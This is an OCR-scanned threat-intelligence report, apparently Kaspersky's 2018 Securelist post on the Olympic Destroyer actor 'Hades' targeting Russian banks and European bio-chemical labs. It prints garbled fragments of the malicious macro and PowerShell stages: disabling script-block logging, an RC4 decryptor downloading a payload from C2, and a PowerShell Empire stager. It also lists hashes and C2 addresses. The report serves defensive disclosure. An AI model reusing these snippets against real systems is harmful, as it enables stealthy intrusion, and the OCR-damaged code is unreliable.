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Hades, the actor behind Olympic Destroyer is still alive

By GReAT

Published: 2018-06-19 - Archived: 2026-04-05 16:11:38 UTC

In March 2018 we published our research on Olympic Destroyer, an advanced attack that hit organizers, suppliers

and partners of the Winter Olympic Games 2018 held in Pyeongchang, South Korea. Olympic Destroyer was a
cyber-sabotage attack based on the spread of a destructive network worm. The sabotage stage was preceded by
reconnaissance and infiltration into target networks to select the best launchpad for the self-replicating and self-

modifying destructive malware.

We are calling the actor behind the Olympic Destroyer attack — “Hades”. We have previously emphasized that
Hades is different from other threat actors because the whole attack was a masterful operation in deception.
Despite that, the attackers made serious mistakes, which helped us to spot and prove the forgery of rare attribution
artefacts. The attackers behind Olympic Destroyer forged automatically generated signatures, known as Rich
Header, to make it look like the malware was produced by Lazarus APT, an actor widely believed to be associated
with North Korea. If this is new to the reader, we recommend a separate blog dedicated to the analysis of this

forgery.

The deceptive behavior of Hades and its excessive use of various false flags, which tricked many researchers in
the infosecurity industry, got our attention. Based on malware similarity, the Olympic Destroyer malware was
linked by other researchers to three Chinese speaking APT actors and the allegedly North Korean Lazarus APT;
some code had hints of the EternalRomance exploit, while other code was similar to the Netya (Expetr/NotPetya)
and BadRabbit targeted ransomware. Kaspersky Lab managed to find lateral movement tools and initial infection
backdoors, and has followed the infrastructure used to control Olympic Destroyer in one of its South Korean

victims.

Some of the TTPs and operational security used by Hades during the Olympic Destroyer attack bear a certain
tampering with technical artefacts. It implies a deep knowledge of how the actor being mimicked operates as well
as operational adaptation to these new TTPs. However, it is important to remember that Hades can be considered a
master in the use of false flags: for now we assess that connection with low to moderate confidence.

We decided to keep tracking the Hades group and set our virtual ‘nets’ to catch them again if it showed up with a

similar arsenal. To our surprise it has recently resurfaced with new activity.

In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents
used by Hades in the past. This and other TTPs led us to believe that we were looking at the same actor again.
However, this time the attacker has new targets. According to our telemetry and the characteristics of the analyzed
spear-phishing documents, we believe the attackers are now targeting financial organizations in Russia, and
biological and chemical threat prevention laboratories in Europe and Ukraine. They continue to use a non-binary

executable infection vector and obfuscated scripts to evade detection.

Page 1 of 13


https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/
https://securelist.com/the-devils-in-the-rich-header/84348/
https://securelist.com/schroedingers-petya/78870/
https://securelist.com/bad-rabbit-ransomware/82851/
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/

https://securelist.com /olympic-destroyer-is-still-alive /86169 /

[F— —
Malicious document Powershell Powershell
or hta
Stage 1: Execute macro-embedded Stage 2: Download additional Stage 3: Connect to
malicious document powershell script Powershell Empire

Simplified infection procedure
Infection Analysis

In reality the infection procedure is a bit more complex and relies on multiple different technologies, mixing VBA
code, Powershell, MS HTA, with JScript inside and more Powershell. Let’s take a look at this more closely to let

incident responders and security researchers recognize such an attack at any time in the future.
One of the recent documents that we discovered had the following properties:

MD5: 0e7b32d23fbd6d62a593c234bafa2311

SHA1: ff59cb2b4a198d1e6438e020bb11602bd7d2510d
File Type: Microsoft Office Word

Last saved date: 2018-05-14 15:32:17 (GMT)

Known file name: Spiez CONVERGENCE.doc

The embedded macro is heavily obfuscated. It has a randomly-generated variable and function name.

I oF
Dim zgwEK A=z String
Dim nAPnScPISpGFFRcnF As String
qgPreGCnvlhlUprSEY = "A5IN" & =FiSFQuRDPIM{"49659198"> & "IKPK" & "Eijzi" & "¢
fiSFQuRDPlH("549f9d58") & sfiSFQuRDPIMC"2£f92d592f"> & sfiSFQuRDP1HM{'"?d5a?f2d">

3
ZvPQTIroojC0Gl = sfiSFQuRDPIM("655c7e79") & “iEfayu™d" & “¢ovgRUT™eof" & s=f
" & =fFiSFQuRDPIMC"42425A44449d529£92d4539£9d454")
HtupShclikIHda = “iizIN" & sfiSFQuRDF1M{"4983494e4996"> & sfiSFQuRDF1M{"8h8e
549424995 & “INI&E" & =fiSFQuRDPIM("B78669949197927291") & "AIINI" & “ciilifél
apoAXZRsdUd = “BJD¥" & “SFYRS" & sfiSFQuURDPIM("9d549f444f"> & “EIlicd™ & "nl
sfiSFQuRDPIMC"49424963"> & "EcigtINIP" & "EgquINIu" & "¢uwgol™ & "NIKE" & s=fif
ICCNmDkzbhpo = “EizicJJD" & "¥SFYRFDOEI" & "cARINIGIKKB" & "03E3" & “BJF¥GfP
Yic JHKPJDE¥TF¥S" & "FYRFDBOEIEGINIGY
nAPNScPISpGFFRcnF = “"NIPE" & sfiSFQuRDFIM("87494e4964"> & “dgsIN" & sfiSFQu
Uf" & sfiSFQuURDPIM("9d569£92d579£9d529£9d454") & "FY¥SF" & sfiSFQuRDPIM("444f684
LEiiNIuwNsh = “"fDO&" & “IulNI" & sfiSFQuRDFIM("6776494e49"> & "0Oivgo" & “IKB

Obfuscated VBA macro

Its purpose is to execute a Powershell command. This VBA code was obfuscated with the same technique used in

the original Olympic Destroyer spear-phishing campaign.

It starts a new obfuscated Powershell scriptlet via the command line. The obfuscator is using array-based

rearranging to mutate original code, and protects all commands and strings such as the command and control (C2)

server address.
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There is one known obfuscation tool used to produce such an effect: Invoke-Obfuscation.

G \HlnDuHS\ayaTEmBZNGHD Ede" rc "S5elT 8TI= iBHxlW = [tyPE]("{Z}{7}{8}{3
FLAFL03{13{63{4>"F 'ERi’.’RING.=’ .’ COLLE’ .'En’.’ .obJECT’ ' c.DiCtiONARyL=t’ .’ uS
et tloNs . gt ;s LA {13 (23— £'8° *ET”*. P_ITEM’ ) ("{@3{23{1>" —F ‘UAr .’
Le:7?BiM’' . *iAB' > C(L[tY¥Pe 1" {23{33{13{03" —f’ﬁck‘ 1t st erlpth'y D g SHZS =L
tYPE1C"{@>{1>"-F *R' . "EF'> ; A1 {23 (A —f *—iTEM’ . 'SE' . "T'>» CO"{1>{@x{2>"
—f*ifAbL’  fvAr’  fet@4k’> ¢ [tyPe lC"{4X{33{0F{13{53{23"Ff * _seRvICEp’.’o’ .’ AnAGe
R'.’ .nET’,’SySTeM’ ."IntH’ 2> ;5 SHuvall = [tyPel<"{B>{13{6>x{43{23{53{3>"-F'5Y’.
‘StEf Yt WE! fuweST! . cne’ BrEQ* 'mt 3y ({23 {A{13" £7E' WY P seT-AT > (VUM
"Ar+"la+"Ble:kmd"> ( [tY¥Pe 1C"{623{33{4>{52{@>{22{1>""-F'nTlalcA’ . "HE’ .'¢c’' . "ste
*Mon’ . 'eT .CRede”’ . *sY%¥'23) ; ShguM = [TypEl<"{23{@>{4>{1>{53{3>"-F'TE’.'c’'. sy
SING motExT.en’ .’ 04" > ;[stringll] S{PAthy = _{"{23{33{B>x{1>" —f *hi’.’1dl
tem' . 'Get—*,.’'C’'> —Recurse —LiteralPath "Senv: UEERPROFILE\\HppData\\Lucal\\chru
duft" —Errurﬂctlun ("{1}{4}{3}{3}{2}"—f tlyG! . *Sile’ . ‘ntinue’ . ‘o’ b B B AL |
FL1XL23032"— £ W ' her' . 'e—0bje’ . 'ct’ > —FllterEcrlpt {(5{ Y. UMO" De"[ﬂ] —eg "d'>3>
S R {5{_}."F‘U11nﬂ‘ﬂe"}, do {5{R> = “&{{13{@>{23"—f 'Ran’.’'Get—’'.’'dom’
> S{P ATH>> Yhile <¢.{"{@3{23{1>" —f'Te’.’ath’.’st-P'> S{R*> —and (${r}.("{1}{ﬂ
23" f'owe’ 'ToL’ . '»" > InvokeCd > ("{123{A3{2>"—f 'in',."Conta’.’'s'>.Invoke((""{1>
{@x"—fF'emp’ ' t’' 3> —and {(S${pr>. AFLAXL22V—F°T’ . 'ol’ . 'ower’ . Invoke (3> {"{13{A3"

Obfuscated commandline Powershell scriptlet

This script disables Powershell script logging to avoid leaving traces:

IF(${GPc}[ScriptBlockLogging])

{
S{Gpc}[ScriptBlockLogging][EnableScriptBlockLogging]=0;
s{gpcl{ScriptBlockLogging][EnableScriptBlockinvocationLogging]=0

It has an inline implementation of the RC4 routine in Powershell, which is used to decrypt additional payload
downloaded from Microsoft OneDrive. The decryption relies on a hardcoded 32-byte ASCII hexadecimal alphabet
key. This is a familiar technique used in other Olympic Destroyer spear-phishing documents in the past and in

Powershell backdoors found in the infrastructure of Olympic Destroyer’s victims located in Pyeongchang.

S{k}= ( .VARiabLE Bgvm ).vAIUE::"aSCil".GETBYtes.Invoke(d209233c7d7d7acee5aa0e8b0889bb1e);
5{R}={
5{D},${K}=5{aRGS};
5{s}=0..255;0..255" | *&("%"){
SE=( S SISHST TH+SIKIST 1963 {Kk)."coUNL"])%256;
S{SHS{_NLS{SHS{H=5{SHS{I, 4SS Y
Iy
Sidir | &('%"){
S{il=(S{i+1)%256;
S{h}=(5{h}+S{sHS{I})%258;
S{SHS{I, S{SHSh=5{s{S{h}], S{sHSTIH;
S{_1-BxorS{SH(S{SHS{I}1+5{sHS{h}])%256]
iz
s{daTa}=5{wc}.DOWNIoADDatA. Invoke(https://api.onedrive[.Jcom/v1.0/shares/s!Arl-
XS5G7nP5zbTpZANDb3-dz_oU8/driveitem/content);
S{IVi=S{dATa}[0..3];
${dATa}=S{dATA}4..${dAta}."LENgtH"];
-loIn[CHar[]]{"& ${r} ${daTa} (${iV}+5{k}))

[/caption]
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The second stage payload downloaded is an HTA file that also executes a Powershell script.

<script>

a=new ActivelObject{"WScript.Shell' >;

a.runt’ GHD.ExE G = Kju= SeT-VarIABlE eiP ¢ [t¥YPel("{7?>{5x{13>{11>{A>{3
s S{g'NF? = [typel"{13{@3" —PF<'FN' S'RES'Y 50 Set—iTeM {("wAriaB"+"1e:R

SOPEQN LS MONet Ny 2 3 sET-iTem UAriAblE:eSY ¢ [eyPE1C"C13{8L{43{23{33" -F
Fr= S{G'Nf>."aSsE'mb Ly". ("{13{83" —f£~'tTYPes’ .S GEN' D Invoke ({63 {13{A>{33{2
feLBEN LN AN N nPubliN D s IECS g PEXD{S{G PCI=5{g " PF> . ("{12{AX {23 " F ' Ualy’ .5

Downloaded access.log.txt

This file has a similar structure to the Powershell script executed by the macro in spear-phishing attachments.

After deobfuscating it, we can see that this script also disables Powershell logging and downloads the next stage

payload from the same server address. It also uses RC4 with a pre-defined key:

5{k}= ( Get-vaRiablE Rd4lmz -VAl )::"aSCli".GEtRytEs.Invoke(d209233c7d7d7acee5aale8b0889bbie);
S{r}={5{D},3{K}=5{ARGs};

5{s}=0..255;

0..255" | ("% HS (= (S+S{SHS{_H+S{kHS{_1%3{KL"COUNT"])%256;

S{SHS{I S{sHSUN=5{sH5{,5{sHS {1k

S{d}n | ("% ) {S1=(5{11+1)%256;

S{h}=(5{h}+5{s}{5{1}])%256;

S{sHS{LSISHS{HN=5{s}S{h}], S{sHS{M;

S{_}-BxORS{s}[(S{s}HS{iH+5{si5{h}])%256]}};
S{wC}"HeaDErs".Add.Invoke([Cookie,session=B43mgpQ4No69GDp3PmkIQpTZB50=);
S{seR}=https://mysent[.]org:443;

Sitl=/modules/admin.php;

${dATA}=S{wcl.DOWNLOAdDATA. Inveke(S{SeRM+${t));

S{ivi=S{DATA}O..3];

S{DATA}=S{dATANA..5{dAta}."LeNGTh"];

-JoiN[ChAR[]](~& ${R} S{daTa} (S{IV}+5{k}))

The final payload is the Powershell Empire agent. Below we partially provide the http stager scriptlet for the

downloaded Empire agent.

Swe.HeAders.Add|"User-Agent”,SUA);

Sraw = Swe.UploadData(5s + "/modules/admin.php”,"PO5T",5rc4p2);
Invoke-Expression 5{Se.GetSTRING(5(DecrYPT-BYEEs -KeY SKEy -In SraWw)));
SAES = SNull;

[IGC]::COLLECTY();

Invoke-Empire -Servers @([Ss -split "/")[0..2] -join "/") -StagingKey 55K -SessionKey Skey -SessioniD
SID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings
SScript:Proxy; }

Powershell Empire is a post-exploitation free and open-source framework written in Python and Powershell that
allows fileless control of the compromised hosts, has modular architecture and relies on encrypted
communication. This framework is widely used by penetration-testing companies in legitimate security tests for

lateral movement and information gathering.
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Infrastructure

We believe that the attackers used compromised legitimate web servers for hosting and controlling malware.

Based on our analysis, the URI path of discovered C2 servers included the following paths:

e /components/com_tags/views

e /components/com_tags/views/admin
e /components/com_tags/controllers
e /components/com_finder/helpers

e /components/com_finder/views/

e /components/com_j2xml/

e /components/com_contact/controllers/

These are known directory structures used by a popular open source content management system, Joomla:

Branch: staging ~ |joomla-cms / components / com_tags / views /

ﬁl photodude and mbabker [C5] long form function return types; round 2 (#19935)

i tag [CS] long form function return types; round 2 (#19935)

il tags Prepare 3.8.4 Release Candidate

Joomla components path on Github

Unfortunately we don’t know what exact vulnerability was exploited in the Joomla CMS. What is known is that
one of the payload hosting servers used Joomla v1.7.3, which is an extremely old version of this software,

released in November 2011.

Hostname First Last Category Value

W . D 2016-07-06 2016-07-06 Server Apache (v2.2.22)

W —— b 2016-07-06 2016-07-06 Operating System Debian

www . b 2016-07-06 2016-07-06 Server Debian

ww v I b 2016-07-06 2016-07-06 Javascript Library iQuery

W I b 2016-07-06 2016-07-06 Framework PHP (v5.4.45-0+deb7u2)
W . D 2016-07-06 2016-07-06 Ad Network Google

www I b 2016-07-06 2016-07-06 CM5 Joomlal (v1.7.3)

A compromised server using Joomla

Victims and Targets

Based on several target profiles and limited victim reports, we believe that the recent operations by Hades target
Russia, Ukraine and several other European countries. According to our telemetry, several victims are entities

from the financial sector in Russia. In addition, almost all the samples we found were uploaded to a multi-scanner
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service from European countries such as the Netherlands, Germany and France, as well as from Ukraine and

Russia.

Targets of recent Olympic Destroyer attacks

In May-June 2018 Kaspersky Lab discovered new spear-phishing documents related to Olympic Destroyer.
The threat actor had previously attacked Winter Olympics infrastructure.

Targets:

! E Biological and chemical
threat prevention organizations
@ Financial institutions (in Russia only)

France The Netherlands Switzerland Germany Ukraine Russia

Kaspersky Lab products successfully detect and block
Olympic Destroyer-related malware. L 4

KASPERS KY: GREAT © 2018 Kaspersky Lab. All Rights Reserved

Location of targets in recent Hades attacks

Since our visibility is limited, we can only speculate about the potential targets based on the profiles suggested by

the content of selected decoy documents, email subjects or even file names picked by the attackers.

One such decoy document grabbed our attention. It referred to ‘Spiez Convergence’, a bio-chemical threat
research conference held in Switzerland, organized by SPIEZ LABORATORY, which not long ago was involved

in the Salisbury attack investigation.
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e Eidgenossenschaft Federal Department of Defence,
Civil Protection and Sport DDPS
Federal Office for Civil Protection
FOCP SPIEZ LABORATORY

Spiez CONVERGENCE

11 - 14 September 2018

The Swiss Government started a workshop series focusing on adwvances in chemical and
biological sciences in 2014 under the title Spiez CONVERGENCE. The series is dedicated to
informing participants about significant scientific developments and to serve as forum for
expert discussions. The objective of this workshop series is to identify developments in
chemistry and biclogy which may have implications for the Biological Weapons Convention
(BWC) and the Chemical Weapons Convention (CWC).

Sponsored by the Swiss Government and organised by Spiez Laboratory, the third edition of
Spiez CONVERGENCE will be held at Spiez, Switzerland, from 11 - 14 September 2018,

Objective

Spiez CONVERGENCE 2018 intends to inform about latest advances on ‘chemistry making
biology’ and ‘biology making chemistry’, as well as the adoption of such advances by the bio-

technolosy and chemical industries. Particinants will discuss how such develonments mav affect

Decoy document using Spiez Convergence topic

Another decoy document observed in the attacks (‘Investigation_file.doc’) references the nerve agent used to

poison Sergey Skripal and his daughter in Salisbury:
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Salisbury nerve agent 'probably state made' but Porton Down
scientists unable to say it came from Russia

Scientists at the UK’s Porton Down defence laboratory have not been able to
determine where the nerve agent used in the Salisbury spy atf:ack was made, the

boss of the facility has revealed.

Gary Aitkenhead, the chief executive of the Defence Science and Technology
Laboratory (DSTL) at Porton Down, said that chemical weapons experts had “not
verified the precise source” of the material but making the substance was
"probably only within the capabilities of a state actor".

Howeuver, he said that “it is not our job” to determine precisely where the nerve
agent, identified as belonging to the Novichok family, was manufactured but he
explained the work done at Porton Down formed part of the Government's wider

intelligence picture.

Mr Aitkenhead also poured cold water on Kremlin suggestions that the material
used to poison the former double agent Sergei Skripal and his daughter Yulia may

have come from Porton Down which is located nearby to Salisbury.

Mr Aitkenhead told Sky News: “We were able to identify it as Novichok, to

identify that it was a military-grade nerve agent.

"We have not verified the precise source, but we provided the scientific
information to the government who have then used a number of other sources to

piece together the conclusions that they have come to."

He added: "It is our job to provide the scientific evidence that identifies what the
particular nerve agent is, we identified that it was from this family and that it is a
military grade nerve agent, but it is not our job to then say where that actually

was manufactured.”

Theresa May, the Prime Minister, has blamed Russia for the poisonings and took

action to expel 23 of Moscow’s diplomats in the wake of the attack.

Some other spear-phishing documents include words in the Russian and German language in their names:

e 9bc365a16¢63f25dfddcbe11da042974 Korporativ.doc
e da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc
e 22e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc

One of the documents included a lure image with perfect Russian language in it.
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] Office 365

3TOT AOKYMEHT co3fiaH B oHnaiH Bepcun Microsoft Office Word

[na npocmoTpa unu pegakTupoBaHua AaHHOro gokymeHTa, HeoGxogumo
pa3pelWNTeE pegakKTUpOBaHHWE W BNHOYNTE COOEpPXUMOE OHNaWH KOHTeHTa

A message in Russian encouraging the user to enable macro (54b06b05b6b92a8f2ff02fdf47baad0Oe)

One of the most recent weaponized documents was uploaded to a malware scanning service from Ukraine in a file

named ‘nakaz.zip’, containing ‘nakaz.doc’ (translated as ‘order.doc’ from Ukrainian).

I SECURITY WARNING Some active content has been disabled. Click for more details. Enable Content

Owunbka #23799: Cboit B pabote nnaruHa

Haxmure ' ELUMTb PEAAKTMPOBAaHME" Ha KenToll naHenw, a
M HaskMuTe "BKNoYUTE copepskimoe”

[eHepauuns oTYeTa HEBO3IMOXHA

Another lure message to encourage the user to enable macro

According to metadata, the document was edited on June 14th. The Cyrillic messages inside this and previous

documents are in perfect Russian, suggesting that it was probably prepared with the help of a native speaker and
not automated translation software.

Once the user enables macro, a decoy document is displayed, taken very recently from a Ukrainian state

organization (the date inside indicates 11 June 2018). The text of the document is identical to the one on the

official website of the Ukrainian Ministry of Health.

Page 9 of 13


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071631/olympic-destroyer-is-still-alive_10.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071631/olympic-destroyer-is-still-alive_10.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071638/olympic-destroyer-is-still-alive_11.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071638/olympic-destroyer-is-still-alive_11.png
http://moz.gov.ua/article/ministry-mandates/nakaz-moz-ukraini-vid-11062018--1103-pro-vnesennja-zmin-do-rozpodilu-likarskih-zasobiv-dlja-hvorih-u-do--ta-pisljaoperacijnij-period-z-transplantacii-zakuplenih-za-koshti-derzhavnogo-bjudzhetu-ukraini-na-2016-rik
http://moz.gov.ua/article/ministry-mandates/nakaz-moz-ukraini-vid-11062018--1103-pro-vnesennja-zmin-do-rozpodilu-likarskih-zasobiv-dlja-hvorih-u-do--ta-pisljaoperacijnij-period-z-transplantacii-zakuplenih-za-koshti-derzhavnogo-bjudzhetu-ukraini-na-2016-rik

https://securelist.com /olympic-destroyer-is-still-alive /86169 /

Cratyc: YMHHMIA

MIHICTEPCTBO OXOPOHH 3/I0POB'SI YKPATHH

HAKA3
11.06.2018 N1103
M. Kuis

IIpo BHeceHHs 3MiH A0 Po3nmoziny JiiKapcbKHX 3acoGiB A8 XBOpHMX y JA0- Ta
micasonepaniiHMiA nepioj 3 TpaHCILJIAHTALll, 3aKyIJIEHHX 3a KomTH /lep:kaBHOrO
60/pKeTy YKpaidd Ha 2016 pik, 3aTBep/ »KeHOro HaKa3oM MiHiCTEp|(.'['Ba OXOpPOHH
340poB’'a YKpalHu Bijg 26 iunHA 2017 poky Ne 862

Bignoeigno po nyukty 8 [lonoxenus npo MinicTepcTBo oxopoHH 340poB's YKpaiHH,
3aTBepaxeHoro nocraHoeoio Kabinery MinicTpie ¥kpainu Big 25 Gepezna 2015 poky Ne
267, 2 MeTOK palioHANBLHOTO Ta UiALOBOr0 BHKOPHCTAHHA JiKapCbKHX 3acobie and
XBOPHX Y J10- Ta TicafgoNepaliiHHi mepioJ 3 TpaHCIIAHTAIil, 3aKyIJeHHX 3a KOIUITH
JepxasHoro 6r0axKeTy Yrpainu Ha 2016 pik 3a 6w axeTHor nporpamoro KITKBK 2301400

Decoy document inside nakaz.doc

Further analysis of other related files suggest that the target of this document is working in the biological and

epizootic threat prevention field.

Attribution

Although not comprehensive, the following findings can serve as a hint to those looking for a better connection
between this campaign and previous Hades activity. More information on overlaps and reliable tracking of Hades’

attacks is available to subscribers of Kaspersky Intelligence Reporting Services (see below).
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Attribate ¥
Attribuate VB _Base =
Attribute VB GlobalNamsSpace = False
hAttribuate VB _Creatable = Falas
Arttribute VB Fredeclarsdld = Trus
Attribuate VB _Exposed = True
Attribate VE TemplateDerived = Trus
Attribute VB _Costomizable = I e
Attribate VB Comtrol = "ImsgeComboll
FFrivate Sub ImageCombo2l_cChange ()
Dim ‘,l}!‘.‘il:rqq'::sn'.'.l':emG:JeEAl As String
Dim sVnE1l Aa ObjEct
Dim XQMogaRsVaFhyBVIcEnolWio As Inceger
Dim 1pUgqy Aa String

XQMugaRaVOFRyEBVIcEnoLNFD = 2449
JQFEUggpranIxInleJebAl = " [wyvmcxIWlipg"
Ser aVnEl = c-uter_‘e*eet:*men:v_qxlu“:ﬁ:-_“.m:;.QFr,qqp:meD.-_mJem.L::

1pUqqy = 18GGrFxIa¥TalFaFoe | "wlighwsOOvy CnBdR")
. ;E:'qw = ZRACTIBRCENVIRRTEVAngAg (aVnBl, lp_ﬂf. ¥oUugaRaVuPhyBV.TeEhalLWRu) Macro of Dld Ol?mpicnestmver dnc
BFfunction 18GG:xFxIa¥TalFaFOo (ANEsJZphiYC As String) As String {Eb?zgdzgﬁﬁlgq.gﬁgd12C56f8€3591855}

Dir akQPLVYRpYViwwiclweVFHI Aa Sceing

AtEribute VB Hame = "I

Atcribute VB_GlobalNamsSpace =
httribute VB Creatable = False
Atcribute VB _FredeclaredId = True
Atcribute VB_Exposed = True
Attribute ‘.’!_Tmpla::ber:.wed. = Trus
Attribute VB Custcmizable = True

HPzivate Zub Mqﬂﬂhl Index Rs Long)

Dim JXFQUgIHRYVMFS) A= Scring

Dim LEAPlphpqMwhRdas As Cbject

Dim ThiwWVbGIlwjeNiCQzIayFIdC A= Integer

Dim cRriUzMukX As Scring

Dim rlwchHBzOwRslbiP3Hb A= String

Falas

TbmaleJeHJOQSIaJFI'dC = 5685
JAXFgOgJHAYyVHES) = Hig{"738e3£2aT7 _. 5 .-' cADEETOSEEE9T 6338 06DELE660E5") & "™ nm"”
rLIWeAHBIQWRSLEIFSHD = ™| "=Ie™5x™ § e
=) If (ThiowVbEIiwieWitzlajFTds > 0} Ir &0

INFQOgTHRYVMPS] = rlwcAHBzQwRalb]PSHD

Far LEHPlphpgMwhRdas = Createlbiject (KRFdETIMITyQywFWRS (1XFqUoJTHRYVMPS1 ) )

Elae Macro of new Spearphishing document
et LEHPlphpgHwhRdas = CreaceChiect (FRFdRTIMITyQywEWRS (I XFglgTHRYVHEPS]

End It LQ?ddc336d?d92b?dbl?dDQSecEeeﬁﬂQE}l

CREUzHUEY = GJIm]glHVEEUHAlhkiOWRL (" kEY & "IgETtpyu™ & Pl b
L CREUVEMULY = k“m}lrur‘lPrtQ.HLEHFJphqu‘thda:, cRrUzMakN, ThlWWBGEI1lwd eWLCQ:Ind‘Idu]
End Sub

Similar obfuscated macro structure

The documents above show apparent structural similarity as if they were produced by the same tool and

obfuscator. The highlighted function name in the new wave of attacks isn’t in fact new. While being uncommon, a

function named “MultiPagel_Layout” was also found in the Olympic Destroyer spear phishing document (MD5:

5ba7ec869c7157efc1e52f5157705867).

ElPrivate Sub M (ByVal Index As Long)
Dim luthtyq‘ujbOIhPLﬂlchUvq As String

Dim LHvH1HbywO As Object

Dim LoVeVmIFVUsdTHApDYVDp As Integer

Dim nuIFOFRTRumgwlMlnI As String

LoVeVmIEVUsdIKApVR = 77
AitNetyqujbOIhPLHLchUwg = "\xhwnu" & "y3Xmigq” Macro of old OlympicDestroyer doc
S5et LHvH1HbywO = CreateCbject{sgatG{AitNctygqujbCOIhPLHl1chUwg) ) {5ba7e5869c7157efc1|352f515?705867]
nuIFOFRTKumgwiMInT = wBESNbInCw (" dmGwclseuV")

= nuIFOFRTEumgwiMInI = uTnxBLmDnfZms (LHvH1HbywO, nulFOFRTEKumgwHMlnI, LoVeVmIFVUsdTKAPVD)

End Sub

Same MultiPagel_Layout function name used in older campaign

Conclusions

Despite initial expectations for it to stay low or even disappear, Hades, the actor behind the Olympic Destroyer

attack, has resurfaced with new attacks in Europe, Russia and Ukraine. In late 2017, a similar reconnaissance

stage preceded a larger cyber-sabotage stage meant to destroy and paralyze infrastructure of the Winter Olympic
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Games as well as related supply chains, partners and even venues at the event location. It’s possible that in this
case we have observed a reconnaissance stage that will be followed by a wave of destructive attacks with new
motives. That is why it is important for all bio-chemical threat prevention and research companies and

organizations in Europe to strengthen their security and run unscheduled security audits.

The variety of financial and non-financial targets could indicate that the same malware was used by several groups
with different interests —i.e. a group primarily interested in financial gain through cybertheft and another group or
groups looking for espionage targets. This could also be a result of cyberattack outsourcing, which is not
uncommon among nation state actors. On the other hand, the financial targets might be another false flag
operation by an actor who has already excelled at this during the Pyeongchang Olympics to redirect researchers’

attention.

Certain conclusions could be made based on motives and the selection of targets in this campaign. However, it is
easy to make a mistake when trying to answer the question of who is behind this campaign with only the
fragments of the picture that are visible to researchers. Hades’ Olympic Destroyer-related activities at the
beginning of this year, with their sophisticated deception efforts, changed the attribution game forever. We believe
that it is no longer possible to draw conclusions based on few attribution vectors discovered during regular
investigation. The resistance to and deterrence of threats such as Olympic Destroyer should be based on
cooperation between the private sector and governments across national borders. Unfortunately, the current
geopolitical situation in the world only boosts the global segmentation of the internet and introduces many
obstacles for researchers and investigators. This will encourage APT attackers to continue marching into the

protected networks of foreign governments and commercial companies.

The best thing we can do as researchers is to keep tracking threats like this. We will keep monitoring Hades and

report on new discovered activities of this group.

More details about Hades, Olympic Destroyer and related activity are available to subscribers of Kaspersky

Intelligence Reporting services. Contact: intelreports@kaspersky.com

Indicators Of Compromise

File Hashes

9bc365a16¢63f25dfddcbe11da042974 Korporativ .doc
da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc
6ccd8133f250d4babefbd66b898739b9 corporativ_2018.doc
abe771f280cdeabe7eaf19a26b1a9488 Scan-2018-03-13.doc.bin
b60da65b8d3627a89481efb23d59713a Corporativ_2018.doc
b94bdb63f0703d32c20f4b2e5500dbbe
bb5e8733a940fedfb1ef6b0e0ec3635¢ recommandation.doc
97ddc336d7d92b7db17d098ec2ee6092 recommandation.doc
1d0cf431e623b21aeae8f2b8414d2a73 Investigation_file.doc
0e7b32d23fbd6d62a593c234bafa2311 Spiez CONVERGENCE.doc
€2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc
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0c6ddc3a722b865cc2d1185e27cef9b8
54b06b05b6b92a8f2ff02fdf47baadOe
4247901ecabd87f5f3af7df8249ea825 nakaz.doc

Domains and IPs

79.142.76[.]140:80/news.php

79.142.76[.]140:8989/1ogin/process.php
79.142.76[.]140:8989/admin/get.php
159.148.186[.]1116:80/admin/get.php
159.148.186[.]116:80/login/process.php

159.148.186[.]1116:80/news.php

wokswok kdokx edul.]br/components/com_finder/helpers/access.log

wokxok dxk* edul.]br/components/com_finder/views/default.php
narpaninew.linuxuatwebspiders[.]Jcom/components/com_j2xml/error.log
narpaninew.linuxuatwebspiders|.]Jcom/components/com_contact/controllers/main.php
mysent[.Jorg/access.log.txt

mysent[.]Jorg/modules/admin.php

5.133.12[.]224:333/admin/get.php

Note: this blogpost was updated July 25, 2019, to include Hades as the name of the actor behind the Olympic

Destroyer attack.

Source: https://securelist.com/olympic-destroyer-is-still-alive/86169/
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